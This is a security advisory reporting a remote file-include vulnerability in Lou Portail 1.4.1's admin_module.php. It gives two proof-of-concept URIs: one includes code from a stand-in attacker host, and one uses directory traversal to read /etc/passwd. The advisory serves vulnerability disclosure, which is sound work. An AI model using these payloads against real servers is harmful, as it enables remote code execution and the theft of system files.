Lou Portail Admin_Module.PHP Remote File Include Vulnerability

Bugtraq ID:	20609
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 18 2006 12:00AM
Updated:	Oct 19 2006 06:13PM
Credit:	MP is credited with the discovery of this vulnerability.
Vulnerable:	Lou Portail Lou Portail 1.4.1
Not Vulnerable:

Lou Portail Admin_Module.PHP Remote File Include Vulnerability

Lou Portail is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker could leverage this issue to execute remote script code in the context of the affected webserver process. A successful exploit could lead to the compromise of the affected software. Local attacks are possible using directory-traversal strings; other attacks are also possible.

Version 1.4.1 is vulnerable to this issue; other versions may also be affected.

Lou Portail Admin_Module.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/admin/admin_module.php?g_admin_rep=http://attacker.com&g_ext=txt
http://www.example.com/admin/admin_module.php?g_admin_rep=../../../../../../../../../../../../../../../../../../../../etc/passwd%00

Lou Portail Admin_Module.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Lou Portail Admin_Module.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (Lou Portail)